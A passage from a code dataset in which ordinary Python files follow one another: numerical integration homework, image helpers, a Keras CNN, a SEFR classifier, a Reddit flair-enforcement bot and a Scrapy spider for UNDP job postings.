np.empty(r.shape)\n\n# for i in range(r.shape[0]):\n# for j in range(r.shape[1]):\n# kr = k * r[i, j]\n\n# if kr == 0:\n# I[i, j] = 1 / 4\n# else:\n# I[i, j] = (J(1, kr) / kr)**2\n\n# plt.figure(figsize = (9, 4))\n\n# plt.subplot(121)\n# plt.imshow(I)\n\n# plt.subplot(122, projection = '3d').plot_wireframe(X, Y, I)\n\n# plt.show()\n\n# # 3-9\n\n# actual_value = 22/5\n\n# x = np.linspace(0, 2, 11)\n# y = x**4 - 2 * x + 1\n# eps1 = abs(Sim_int_l(x, y) - actual_value)\n\n# x = np.linspace(0, 2, 21)\n# y = x**4 - 2 * x + 1\n# eps2 = abs(Sim_int_l(x, y) - actual_value)\n\n# print('eps1 / eps2 =', eps1 / eps2)\n# print('estimation error =', abs(S1 - S1) / 15)\n# print('actual error =', abs(S2 - actual_value))\n\n# steps = 2**np.arange(3, 11)\n\n# eps1 = []\n# eps2 = []\n\n# for step in steps:\n# x = np.linspace(0, 2, step + 1)\n# y = x**4 - 2 * x + 1\n# eps1.append(abs(Sim_int_l(x, y) - actual_value))\n\n# x = np.linspace(0, 2, 2 * step + 1)\n# y = x**4 - 2 * x + 1\n# eps2.append(abs(Sim_int_l(x, y) - actual_value))\n\n# eps1 = np.array(eps1)\n# eps2 = np.array(eps2)\n\n# plt.figure(figsize = (7, 8))\n# plt.subplots_adjust(hspace = 0.5)\n\n# plt.subplot(311)\n# plt.xscale('log')\n# plt.yscale('log')\n# plt.plot(steps, eps1, label = '$\\epsilon_1$')\n# plt.plot(steps, eps2, label = '$\\epsilon_2$')\n# plt.legend()\n\n# plt.subplot(312)\n# plt.yscale('log')\n# plt.plot(steps, eps1, label = '$\\epsilon_1$')\n# plt.plot(steps, eps2, label = '$\\epsilon_2$')\n# plt.legend()\n\n# plt.subplot(313)\n# plt.plot(steps, eps1 / eps2, label = '$\\epsilon_1 / \\epsilon_2$')\n# plt.legend()\n\n# plt.show()\n\n# # 3-10\n\n# Tra_int_f(lambda x: np.sin(np.sqrt(100 * x))**2, 0, 1, 1, 1e-6)\n# Sim_int_f(lambda x: np.sin(np.sqrt(100 * x))**2, 0, 1, 2, 1e-6)\n\n# # 3-11\n\n# actual_value = np.pi**4 / 15\n\n# print('\\nactual error =', abs(Tra_int_f(int_3_11, 0 + 1e-8, 1 - 2e-3, 2, 1e-8, True) - actual_value))\n# print('\\nactual error =', abs(Sim_int_f(int_3_11, 0 + 1e-8, 1 - 2e-3, 2, 1e-8, True) - actual_value))\n\n\n# N = 100\n\n# x, w = gaussxwab(N, 0., 1.)\n\n# S = 0.\n# for k in range(N):\n# S += w[k]*int_3_11(x[k])\n\n# print('result =', S)\n# print('error =', abs(S - actual_value))\n\n# # 3-12\n\n# N = 100\n\n# x, w = gaussxwab(N, -5., 5.)\n\n# X, Y = np.meshgrid(x, x)\n# R = np.sqrt(X**2 + Y**2)\n\n# w = np.expand_dims(w, axis = 0)\n# W = np.dot(w.T, w)\n\n# Z = np.linspace(0, 10, 100)\n# F = np.zeros(len(Z))\n\n# for k in range(len(Z)):\n# for i in range(N):\n# for j in range(N):\n# F[k] += W[i, j] * Z[k] / (R[i, j]**2 + Z[k]**2)**(3/2)\n\n# plt.xlabel('z')\n# plt.ylabel('F_z')\n\n# plt.plot(Z, F,'k', alpha = 0.5, label = 'Numerical Solution')\n# plt.plot(Z, 4 * np.arctan(25 / (Z * np.sqrt(50 + Z**2))), 'r', alpha = 0.5, label = 'Analytical Solution')\n\n# plt.legend()\n# plt.show()","sub_path":"5-6/hw3.py","file_name":"hw3.py","file_ext":"py","file_size_in_byte":10079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"539607305","text":"import matplotlib.image as mpimg\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.colors as colors\nimport os,sys\nfrom PIL import Image\nfrom skimage import color\nfrom skimage import feature\nimport re\n\n# Helper functions\n\ndef load_image(infilename):\n \"\"\"\n Load an image\n :param infilename:\n :return:\n \"\"\"\n data = mpimg.imread(infilename)\n return data\n\ndef img_float_to_uint8(img):\n \"\"\"\n Convert float image to uint8\n :param img:\n :return: image in uint8\n \"\"\"\n rimg = img - np.min(img)\n rimg = (rimg / np.max(rimg) * 255).round().astype(np.uint8)\n return rimg\n\ndef concatenate_images(img, gt_img):\n \"\"\"\n Concatenate an image with its groundtruth\n :param img: considered image\n :param gt_img: groundtruth image\n :return:\n \"\"\"\n nChannels = len(gt_img.shape)\n w = gt_img.shape[0]\n h = gt_img.shape[1]\n if nChannels == 3:\n cimg = np.concatenate((img, gt_img), axis=1)\n else:\n gt_img_3c = np.zeros((w, h, 3), dtype=np.uint8)\n gt_img8 = img_float_to_uint8(gt_img) \n gt_img_3c[:,:,0] = gt_img8\n gt_img_3c[:,:,1] = gt_img8\n gt_img_3c[:,:,2] = gt_img8\n img8 = img_float_to_uint8(img)\n cimg = np.concatenate((img8, gt_img_3c), axis=1)\n return cimg\n\ndef img_crop(im, w, h):\n \"\"\"\n Crop an image into patches\n :param im: considered image\n :param w: width of the patch\n :param h: height of the patch\n :return: list of created patches\n \"\"\"\n list_patches = []\n imgwidth = im.shape[0]\n imgheight = im.shape[1]\n is_2d = len(im.shape) < 3\n for i in range(0,imgheight,h):\n for j in range(0,imgwidth,w):\n if is_2d:\n im_patch = im[j:j+w, i:i+h]\n else:\n im_patch = im[j:j+w, i:i+h, :]\n list_patches.append(im_patch)\n return list_patches\n\n\n# Compute features for each image patch\n\n\ndef value_to_class_custom(patch):\n \"\"\"\n Determine if the patch is considered as road or not by looking at each pixels\n :param patch: patch considered\n :return: 1 or -1 if the patch can be considered as road or not\n \"\"\"\n size = patch.shape[0] * patch.shape[1]\n threshold = 1\n if (np.count_nonzero(patch) / size) < threshold:\n return -1\n return 1\n\n\ndef label_to_img(imgwidth, imgheight, w, h, labels):\n \"\"\"\n Convert array of labels to an image\n :param imgwidth: width of the image\n :param imgheight: height of the image\n :param w: width of the patch\n :param h: height of the patch\n :param labels: arrays of labels (-1 and +1)\n :return: resulting image\n \"\"\"\n im = np.zeros([imgwidth, imgheight])\n idx = 0\n for i in range(0,imgheight,h):\n for j in range(0,imgwidth,w):\n tmp_lab = labels[idx]\n \n to_print = 0\n if tmp_lab == 1:\n to_print = 1\n \n im[j:j+w, i:i+h] = to_print\n idx = idx + 1\n return im\n\ndef make_img_overlay(img, predicted_img):\n \"\"\"\n Overlay an image on top of another\n :param img: background image\n :param predicted_img: overlay\n :return: mix of images\n \"\"\"\n w = img.shape[0]\n h = img.shape[1]\n color_mask = np.zeros((w, h, 3), dtype=np.uint8)\n color_mask[:,:,0] = predicted_img*255\n\n img8 = img_float_to_uint8(img)\n background = Image.fromarray(img8, 'RGB').convert(\"RGBA\")\n overlay = Image.fromarray(color_mask, 'RGB').convert(\"RGBA\")\n new_img = Image.blend(background, overlay, 0.2)\n return new_img\n\n#\ndef patch_to_label(patch):\n \"\"\"\n Assign a label (1 or 0) to a patch for submission\n :param patch: patch\n :return: label\n \"\"\"\n foreground_threshold = 0.25 # percentage of pixels > 1 required to assign a foreground label to a patch\n df = np.mean(patch)\n\n if df > foreground_threshold:\n return 1\n else:\n return 0\n \ndef natural_sort(l):\n \"\"\"\n Sort a list of folder\n :param l: list of folders\n :return: sorted list of folder\n \"\"\"\n convert = lambda text: int(text) if text.isdigit() else text.lower()\n alphanum_key = lambda key: [ convert(c) for c in re.split('([0-9]+)', key) ] \n return sorted(l, key = alphanum_key)","sub_path":"helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":4244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"60548956","text":"import os\nimport sys\nimport random\n\ntargetpath = './train/'\ndestinationpath = './val/'\nnum_sample = 25\n\nif not os.path.exists(destinationpath):\n os.mkdir(destinationpath)\nelse:\n print('error already path is exist!!')\n sys.exit(0)\n\nfolderlist = os.listdir(targetpath)\nprint('folder list : {}'.format(folderlist))\nfor dirpath in folderlist:\n if not os.path.exists(os.path.join(destinationpath, dirpath)):\n os.mkdir(os.path.join(destinationpath, dirpath))\n loadpath = os.path.join(targetpath,dirpath)\n datalist = os.listdir(loadpath)\n samplelist = random.sample(datalist, num_sample)\n for filename in samplelist:\n os.renames(os.path.join(loadpath, filename), os.path.join(destinationpath, dirpath, filename))\n\n\nprint('Sampleing is complete')\n","sub_path":"dataset/split_dataset.py","file_name":"split_dataset.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"482737888","text":"# Suppose you have a random list of people standing in a queue. Each person is described \n# by a pair of integers (h, k), where h is the height of the person and k is the\n# number of people in front of this person who have a height greater than equal to h.\n# Write an algorithm to reconstruct the queue.\n\nclass Solution: \n def reconstructQueue(self, people):\n people.sort(key=lambda x: (-x[0], x[1])) # O(nLogn)\n res = []\n for p in people: # O(n)\n res.insert(p[1], p) # O(n)\n return res\n\n# Time Complexity: O(n^2)\n# Space Complexity: O(n)\n\nprint(Solution().reconstructQueue([[7,0],[4,4],[7,1],[5,0],[6,1],[5,2]]))","sub_path":"Python-Algos/ReconstructQueue.py","file_name":"ReconstructQueue.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"254418251","text":"#########################################################################\n#\n# Copyright 2019 VersionOne\n# All Rights Reserved.\n# http://www.versionone.com\n#\n#\n#########################################################################\n\nimport ctmcommands.cmd\nfrom ctmcommands.param import Param\n\n\nclass InvokePlugin(ctmcommands.cmd.CSKCommand):\n\n Description = \"\"\"Execute a specified Flow Plugin Function\n\nResponse varies based on the specified Plugin.\"\"\"\n\n API = 'invoke_plugin'\n Examples = ''''''\n Options = [Param(name='plugin', short_name='p', long_name='plugin',\n optional=False, ptype='string',\n doc='Plugin.Module containing the desired function to invoke. (ex: github.main)'),\n Param(name='method', short_name='m', long_name='method',\n optional=False, ptype='string',\n doc='Method to invoke. (ex \"get_issue\")'),\n Param(name='args', short_name='a', long_name='args',\n optional=True, ptype='string',\n doc='A JSON object containing Plugin Function specific arguments.'),\n Param(name='team', short_name='t', long_name='team',\n optional=True, ptype='string',\n doc=\"\"\"The Team to search for the Plugin Instance to use when invoking a Plugin Function that requires an Instance.\nDefaults to plugins available to All Teams.\"\"\"),\n ]\n\n def main(self):\n results = self.call_api(self.API, ['plugin', 'method', 'args', 'team'])\n print(results)\n","sub_path":"ctmcommands/flow/invokeplugin.py","file_name":"invokeplugin.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"10046756","text":"import tensorflow as tf\nfrom tensorflow import keras\n\n\ndef main():\n num_classes, model_params, train_params, test_params = define_params()\n train_image, train_label = create_dataset(train_params)\n test_image, test_label = create_dataset(test_params)\n model = build_model(train_image) \n model.fit(train_image, train_label,\n epochs=12,\n steps_per_epoch = 120,\n validation_data=(test_image, test_label),\n validation_steps=4)\n\n\ndef parse_function(proto):\n keys_to_features = {'height': tf.FixedLenFeature([], tf.int64),\n 'width': tf.FixedLenFeature([], tf.int64),\n 'label': tf.FixedLenFeature([], tf.int64),\n 'image_raw': tf.FixedLenFeature([], tf.string)}\n parsed_features = tf.parse_single_example(proto, keys_to_features)\n image = tf.image.decode_image(parsed_features['image_raw'])\n image = tf.reshape(image,[64,64,3])\n return image, parsed_features[\"label\"]\n\n\ndef create_dataset(params):\n dataset = tf.data.TFRecordDataset(params['filename'])\n dataset = dataset.map(parse_function)\n if params['mode']=='train':\n dataset = dataset.shuffle(buffer_size=params['shuffle_buff'])\n dataset = dataset.repeat()\n dataset = dataset.batch(params['batch'])\n dataset = dataset.prefetch(8*params['batch'])\n iterator = dataset.make_one_shot_iterator()\n image, label = iterator.get_next()\n label = tf.one_hot(label, 10)\n return image, label\n\n\ndef define_params():\n \"\"\"Create dicts with params for model, training, evaluation\"\"\"\n num_classes = 10\n model_params = {'drop_out' : 0.2,\n 'dense_units' : 1024,\n 'learning_rate' : 1e-3}\n train_params = {'filename' : '../train.tfrecord',\n 'mode' : 'train',\n 'shuffle_buff' : 1000,\n 'batch' : 120}\n test_params = {'filename' : '../test.tfrecord',\n 'mode' : 'test',\n 'batch' : 200}\n return num_classes, model_params, train_params, test_params\n\n\ndef build_model(image):\n model = keras.Sequential()\n model.add(keras.layers.Conv2D(128, (5, 5), padding='same',\n input_shape=image.shape[1:]))\n model.add(keras.layers.Activation('relu'))\n model.add(keras.layers.MaxPooling2D(pool_size=(2, 2), strides=(2,2)))\n\n model.add(keras.layers.Conv2D(128, (5,5)))\n model.add(keras.layers.Activation('relu'))\n model.add(keras.layers.MaxPooling2D(pool_size=(2, 2), strides=(2,2)))\n\n model.add(keras.layers.Conv2D(256, (3, 3), padding='same'))\n model.add(keras.layers.Activation('relu'))\n model.add(keras.layers.MaxPooling2D(pool_size=(2, 2), strides=(2,2)))\n\n model.add(keras.layers.Conv2D(512, (3, 3)))\n model.add(keras.layers.Activation('relu'))\n\n model.add(keras.layers.Flatten())\n model.add(keras.layers.Dense(1024))\n model.add(keras.layers.Activation('relu'))\n\n model.add(keras.layers.Dense(10)) # 10 for num classes, hard coded\n model.add(keras.layers.Dropout(0.2))\n model.add(keras.layers.Activation('softmax'))\n\n opt = keras.optimizers.RMSprop(lr=0.0001, decay=1e-6) \n model.compile(loss='categorical_crossentropy',\n optimizer=opt,\n metrics=['accuracy'])\n\n return model\n\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"90188613","text":"# %load q01_missing_value/build.py\n# Default imports\nimport pandas as pd\n\n# Data loading\nny_housing = pd.read_csv('data/train.csv')\n# Selecting 4 most relevant variables along with target variable from the dataset fot the Cleaning and Preprocessing.\nhousing_data = ny_housing[['MasVnrArea', 'GrLivArea', 'LotShape', 'GarageType', 'SalePrice']]\n\n\n# Write your code here:\ndef imputation(df):\n num_features = [a for a in range(len(df.dtypes)) if df.dtypes[a] in ['int64', 'float64']]\n num_data = df.iloc[:,num_features]\n num_data.fillna(num_data.mean(), inplace = True)\n \n cat_features = df.columns.difference(df.columns[num_features])\n cat_data = df.loc[:,cat_features]\n for column in list(cat_features):\n cat_data[column].fillna(cat_data[column].mode()[0], inplace=True)\n\n return num_data, cat_data\nx,y = imputation(housing_data)\ny.isnull().sum()\n\n\n","sub_path":"q01_missing_value/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"300178096","text":"\n# -*- coding: utf-8 -*-\nimport numpy as np\n\nSTYLE_LAYERS = [\n ('conv1_1', 0.2),\n ('conv2_1', 0.2),\n ('conv3_1', 0.2),\n ('conv4_1', 0.2),\n ('conv5_1', 0.2)]\n\nCOLOR_CHANNELS = 3\nNOISE_RATIO = 0.6\nMEANS = np.array([123.68, 116.779, 103.939]).reshape((1,1,1,3)) \nVGG_MODEL = './imagenet-vgg-verydeep-19.mat'\nOUTPUT_DIR = 'output/'\nINPUT_DIR = 'images/'\nALPHA = 20\nBETA = 50\n\nITER = 200","sub_path":"constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"263318091","text":"import sys\nimport time\nimport importlib\n\nimport torch\n\ndef read_list(model_list_file_name):\n model_list = []\n with open(model_list_file_name) as f:\n for line in f.readlines():\n if len(line.split()) != 3:\n continue\n model_list.append([line.split()[0], line.split()[1], line.split()[2]])\n return model_list\n\n\ndef main():\n # Load model list (task & data)\n model_list = read_list(sys.argv[1])\n model_id = int(sys.argv[2])\n\n task_name = model_list[model_id][0]\n data_name = model_list[model_id][1]\n num_layers = int(model_list[model_id][2])\n\n model_module = importlib.import_module('task.' + task_name)\n model, func, _ = model_module.import_task(data_name, num_layers)\n _, data = model_module.import_model(data_name, num_layers)\n output = func(model, data)\n# print('Training time: {} ms'.format(output))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"software/mps/mps_main.py","file_name":"mps_main.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"354892313","text":"import datetime\n\nimport praw\nimport praw.exceptions\n\nfrom snoohelper.database.models import UnflairedSubmissionModel\n\n\nclass FlairEnforcer:\n\n \"\"\"Module that enforces submission flair, keeps track of unflaired submissions, etc.\n Requires 'modflair' and 'flair' permissions\"\"\"\n\n def __init__(self, r, subreddit, grace_period=600):\n self.r = r\n self.subreddit = subreddit\n self.sub_object = self.r.subreddit(self.subreddit)\n self.unflaired_submissions = list()\n self.grace_period = grace_period\n self._load_from_database()\n\n def _load_from_database(self):\n for unflaired_submission in UnflairedSubmissionModel.select():\n submission = self.r.submission(unflaired_submission.submission_id)\n unflaired_submission_obj = UnflairedSubmission(self.r, submission, unflaired_submission.comment_id)\n self.unflaired_submissions.append(unflaired_submission_obj)\n\n def check_submissions(self, force_approve=False):\n for unflaired_submission in self.unflaired_submissions:\n is_flaired = False\n\n try:\n is_flaired = unflaired_submission.check_if_flaired()\n except AttributeError:\n self.unflaired_submissions.remove(unflaired_submission)\n\n if is_flaired or force_approve:\n unflaired_submission.approve()\n self.unflaired_submissions.remove(unflaired_submission)\n else:\n deleted = unflaired_submission.delete_if_overtime()\n if deleted:\n self.unflaired_submissions.remove(unflaired_submission)\n\n def add_submission(self, submission):\n dt = datetime.datetime.utcfromtimestamp(submission.created_utc)\n\n if (datetime.datetime.utcnow() - dt).total_seconds() > self.grace_period:\n unflaired_submission_obj = UnflairedSubmission(self.r, submission)\n unflaired_submission_obj.remove_and_comment()\n self.unflaired_submissions.append(unflaired_submission_obj)\n return unflaired_submission_obj\n\n\nclass UnflairedSubmission:\n\n def __init__(self, r, submission, comment=None):\n self.r = r\n self.submission = submission\n self.sub = submission.subreddit.display_name\n self.sub_mod = submission.subreddit.mod\n self.comment = comment\n self.fullname = self.submission.fullname\n self.flairs = [(flair['flair_text'], flair['flair_template_id']) for flair in self.submission.flair.choices()]\n\n if comment is not None:\n self.comment = r.comment(comment)\n\n try:\n self.report = submission.mod_reports[0][0]\n except IndexError:\n self.report = None\n\n def remove_and_comment(self):\n s1 = self.submission.author.name\n s2 = 'https://www.reddit.com/message/compose/?to=/r/' + self.sub\n\n comment = generate_flair_comment(s1, s2, self.flairs)\n\n try:\n self.comment = self.submission.reply(comment)\n except praw.exceptions.APIException as e:\n print(\"PRAW Exception: \" + str(e))\n return\n\n self.sub_mod.distinguish(self.comment)\n self.sub_mod.remove(self.submission)\n UnflairedSubmissionModel.create(submission_id=self.submission.id, comment_id=self.comment.id,\n subreddit=self.submission.subreddit.display_name)\n\n def check_if_flaired(self):\n self.submission = self.r.submission(self.submission.id)\n self.submission.comments.replace_more(limit=None)\n comments = self.submission.comments.list()\n\n if self.submission.link_flair_text is not None:\n return True\n else:\n for comment in comments:\n body = comment.body.split()\n if len(body) < 4:\n for word in body:\n word = word.lower()\n word = word.strip(\"'\")\n word = word.strip('\"')\n\n for tup in self.flairs:\n if word == tup[0].lower() and comment.author.name == self.submission.author.name:\n self.sub_mod.remove(comment)\n self.submission.flair.select(tup[1], tup[0])\n return True\n return False\n\n def approve(self):\n self.sub_mod.approve(self.submission)\n if self.report is not None:\n self.submission.report(self.report)\n\n try:\n self.sub_mod.remove(self.comment)\n except AttributeError:\n pass\n\n unflaired_submission = UnflairedSubmissionModel.\\\n get(UnflairedSubmissionModel.submission_id == self.submission.id)\n unflaired_submission.delete_instance()\n\n def delete_if_overtime(self):\n submission_time = datetime.datetime.fromtimestamp(self.submission.created)\n d = datetime.datetime.now() - submission_time\n delta_time = d.total_seconds()\n\n if delta_time >= 13600:\n self.sub_mod.remove(self.comment)\n unflaired_submission = UnflairedSubmissionModel.get(\n UnflairedSubmissionModel.submission_id == self.submission.id)\n unflaired_submission.delete_instance()\n return True\n else:\n return False\n\n\ndef generate_flair_comment(s1, s2, flairs):\n\n s3 = flairs[0][0]\n comment = (\"\"\"Hi /u/%s,\n\nIt looks like you haven't assigned a category flair to your question, so it has been automatically removed.\nYou can assign a category flair to your question by clicking the *flair* button under it.\n\nShortly after you have assigned a category flair to your question, it will be **automatically re-approved** and\n this message\nwill be deleted.\n\n**How to flair your question:**\n\n* Click the flair button under your question and pick a category from the list (if you are on desktop).\n\n* If you are not on desktop, reply to this message with the flair you want.\n(Example: if you want the %s flair, reply to this message with \"%s\", without the quotes).\n\n**List of available flairs:**\n\n\n\"\"\") % (s1, s3, s3.lower())\n\n for flair in flairs:\n comment += \"* \" + flair[0] + '\\n\\n'\n\n comment += \"---\\n\\n*I am a bot, and this action was performed automatically.\\n\"\n comment += \"Please [contact the moderators](%s) if you have any questions or concerns*\" % s2\n return comment\n","sub_path":"snoohelper/reddit/bot_modules/flair_enforcer.py","file_name":"flair_enforcer.py","file_ext":"py","file_size_in_byte":6445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"582001590","text":"import numpy as np\r\n\r\nclass SEFR:\r\n \"\"\"\r\n This is the multiclass classifier version of the SEFR algorithm for Python\r\n based on https://github.com/sefr-classifier/sefr/blob/master/SEFR.py\r\n \r\n Also see: https://arxiv.org/abs/2006.04620\r\n \"\"\"\r\n \r\n def __init__(self):\r\n \"\"\"\r\n Initialize model class.\r\n \"\"\"\r\n \r\n self.labels = []\r\n self.weights = []\r\n self.bias = []\r\n\r\n\r\n def fit(self, data_train, target_train):\r\n \"\"\"\r\n Train the model.\r\n \"\"\"\r\n \r\n self.labels = []\r\n self.weights = []\r\n self.bias = []\r\n \r\n if isinstance(data_train, list):\r\n data_train = np.array(data_train, dtype='float32')\r\n \r\n if isinstance(target_train, list):\r\n target_train = np.array(train_target, dtype='int32')\r\n \r\n self.labels = np.unique(target_train) # get all labels\r\n \r\n for label in self.labels: # train binary classifiers on each labels\r\n \r\n pos_labels = (target_train != label) # use \"not the label\" as positive class\r\n neg_labels = np.invert(pos_labels) # use the label as negative class\r\n \r\n pos_indices = data_train[pos_labels]\r\n neg_indices = data_train[neg_labels]\r\n \r\n pos_label_count = pos_indices.size\r\n neg_label_count = neg_labels.size\r\n \r\n avg_pos = np.mean(pos_indices, axis=0)\r\n avg_neg = np.mean(neg_indices, axis=0)\r\n \r\n weight = (avg_pos - avg_neg) / (avg_pos + avg_neg) # calculate model weight of \"not the label\"\r\n weight = np.nan_to_num(weight) # set nan values to zero\r\n \r\n weighted_scores = np.dot(data_train, weight)\r\n \r\n pos_score_avg = np.mean(weighted_scores[pos_labels])\r\n neg_score_avg = np.mean(weighted_scores[neg_labels])\r\n \r\n bias = -(neg_label_count * pos_score_avg + # calculate weighted average of bias\r\n pos_label_count * neg_score_avg) / (neg_label_count + pos_label_count)\r\n \r\n self.weights.append(weight) # label weight\r\n self.bias.append(bias) # label bias\r\n\r\n\r\n def predict(self, new_data):\r\n \"\"\"\r\n Predict labels of the new data.\r\n \"\"\"\r\n \r\n probs = []\r\n preds = []\r\n \r\n if isinstance(new_data, list):\r\n new_data = np.array(new_data, dtype='float32')\r\n \r\n for i in self.labels: # calculate weighted score + bias of each labels\r\n probs.append(np.dot(new_data, self.weights[i]) + self.bias[i])\r\n \r\n probs = np.array(probs).T\r\n \r\n for prob in probs: # find the min score (least possible label of \"not the label\")\r\n preds.append(self.labels[np.argmin(prob)])\r\n \r\n return np.array(preds)\r\n\r\n\r\n# ================================================================================\r\n\r\nfrom sklearn import datasets\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.preprocessing import normalize\r\nfrom sklearn.metrics import accuracy_score, classification_report\r\n\r\n# load dataset\r\ndata, target = datasets.load_iris(return_X_y=True)\r\n\r\n# normalization may increase accuracy but not always\r\n# data = normalize(data)\r\n\r\n# prepare training and test dataset\r\ndata_train, data_test, target_train, target_test = train_test_split(\r\n data, target, test_size=0.2, random_state=0)\r\n\r\n# train model and predict labels\r\nsefr = SEFR()\r\nsefr.fit(data_train, target_train)\r\npredictions = sefr.predict(data_test)\r\n\r\n# view prediction results\r\nprint('Predictions:', predictions)\r\nprint('True labels:', target_test)\r\nprint('Accuracy:', accuracy_score(target_test, predictions).round(3))\r\nprint(classification_report(target_test, predictions))\r\n","sub_path":"sefr.py","file_name":"sefr.py","file_ext":"py","file_size_in_byte":3905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"600794847","text":"# -*- coding: utf-8 -*-\n\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf-8')\nimport scrapy\nimport re\nfrom scrapy.http import Request\nfrom scrapy_splash import SplashRequest\nimport logging.config\nfrom ..baseSpider import baseSpider\nfrom ...utils.Util import StrUtil\nlogger = logging.getLogger('ahu')\nclass UNDPjobSpider(baseSpider):\n name = \"UNDPjob\"\n start_urls = [\"https://jobs.undp.org/cj_view_jobs.cfm\"]\n\n def __init__(self,*a, **kw):\n super(UNDPjobSpider, self).__init__(*a, **kw)\n self.preurl = \"https://jobs.undp.org/\"\n\n def parse(self, response):\n selector = scrapy.Selector(response)\n logger.debug(\"开始解析UNDP(联合国开发计划蜀)的连接信息\")\n table = selector.xpath('//div[@id=\"content-main\"]/table[@class=\"table-sortable\"]')\n for evertable in table:\n tbody = evertable.xpath('tr')\n for everlink in tbody[:-1]:\n # 提取具体岗位连接\n link = everlink.xpath('td[1]/a/@href').extract()\n if len(link):\n if link[0].startswith('c'):\n LINK = self.preurl + link[0]\n else:\n LINK = link[0]\n else:\n continue\n # 提取岗位描述信息\n describe = everlink.xpath('td[1]/a/text()').extract()\n DESERIBE = describe[0] if len(describe) else \"\"\n # 提取所属系统(第二列)\n suoshu = everlink.xpath('td[2]/text()').extract()\n SUOSHU = suoshu[0] if len(suoshu) else \"\"\n # 提取岗位名称\n work = everlink.xpath('td[3]/text()').extract()\n WORK = work[0].strip() if len(work) else \"\"\n # 提取岗位申请时间\n applytime = everlink.xpath('td[4]/text()').extract()\n APPLYTIME = applytime[1] if len(applytime) else \"\"\n if LINK.endswith('id=2'):\n\n logger.debug(\"开始爬取链接%s\"%LINK)\n # todo 使用splash进行js页面渲染\n yield SplashRequest(url=LINK,\n callback=self._crawliframe,\n meta={\"describe\":DESERIBE,\n \"suoshu\":SUOSHU,\n \"applytime\":APPLYTIME,},\n args={'wait': 2})\n\n else:\n logger.debug(\"开始爬取链接%s\" % LINK)\n yield Request(url=LINK,\n callback=self._UNDPprase,\n meta={\"describe\":DESERIBE,\n \"suoshu\":SUOSHU,\n \"work\":WORK,\n \"applytime\":APPLYTIME,}\n )\n\n def _UNDPprase(self, response):\n '''\n 抽取不带*岗位页面\n '''\n logger.debug('crawl noid!')\n job = scrapy.Selector(response)\n item = self.initItem()\n item[\"joburl\"] = response.url\n item[\"PostLevel\"] = response.meta[\"work\"]\n item[\"work\"] = response.meta[\"describe\"]\n item[\"belong\"] = response.meta[\"suoshu\"]\n item[\"issuedate\"] = response.meta[\"applytime\"]\n item['incontinent'] = '北美洲'\n item['alljoburl'] = 'https://jobs.undp.org/cj_view_jobs.cfm'\n item['type'] = '科学研究'\n item['englishname'] = 'UNDP'\n item['chinesename'] = '联合国开发计划署'\n item['url'] = 'http://www.undp.org/'\n item['incountry'] = '美国'\n self._crawlnoid(job,item)\n self.debugItem(item)\n self.insert(item,spiderName=self.name)\n\n def _crawlnoid(self,job,item):\n '''\n 页面提取器,解析字段,针对非*岗位\n '''\n noidziduan = {'Location :':'Location',\n 'Application Deadline :':'ApplicationDeadline',\n 'Type of Contract :':'TypeofContract',\n 'Languages Required :':'language',\n 'Duration of Initial Contract :':'contracttime',\n 'Expected Duration of Assignment :':'ExpectedDurationofAssignment'}\n\n textnfo_noid = {'Background':'description',\n 'Duties and Responsibilities':'responsibilities',\n 'Competencies':'skill',}\n\n #TODO 提取基本信息\n trs = job.xpath('//div[@id=\"content-main\"]/table[1]/tr')\n for tr in trs:\n ziduanming = tr.xpath('td[1]/strong/text()').extract()\n if ziduanming:\n if ziduanming[0] in noidziduan.keys():\n context = tr.xpath('td[2]/text()').extract()\n if context:\n if StrUtil.delWhite(ziduanming[0].strip(':')) == \"LanguagesRequired\":\n item[noidziduan.get(ziduanming[0])] = re.sub('\\W',' ',StrUtil.delWhite(context[0])).encode('utf8')\n else:\n item[noidziduan.get(ziduanming[0])] = StrUtil.delMoreSpace(StrUtil.delWhiteSpace(context[0])).encode('utf8')\n\n # TODO 提取技能经历等数据\n skilldatas = job.xpath('//div[@id=\"content-main\"]/table[2]/tr')\n\n for i in range(0,len(skilldatas),1):\n name = skilldatas[i].xpath('td[@class=\"field\"]/h5/text()').extract()\n if name:\n if name[0] in textnfo_noid.keys():\n info = skilldatas[i+1].xpath('td[@class=\"text\"]').xpath('string(.)').extract()\n item[textnfo_noid.get(name[0])] = StrUtil.delMoreSpace(StrUtil.delWhiteSpace(info[0])).encode('utf8')\n elif \"Skills\" in name[0]:\n data = StrUtil.delMoreSpace(StrUtil.delWhiteSpace(skilldatas[i + 1].xpath('td[@class=\"text\"]').xpath('string(.)').extract()[0]))\n try:\n item['education'] = re.sub(r'Exp[eé]rience:','',re.search(r'Education(.*?)Exp[e,é]rience:',data,re.I).group(0)).encode('utf8')\n item['experience'] = re.search(r'Exp[eé]rience(.*?)Langu', data, re.I).group(0).strip('Langu').encode('utf8')\n except:\n item['education'] = item['experience'] = data\n\n def 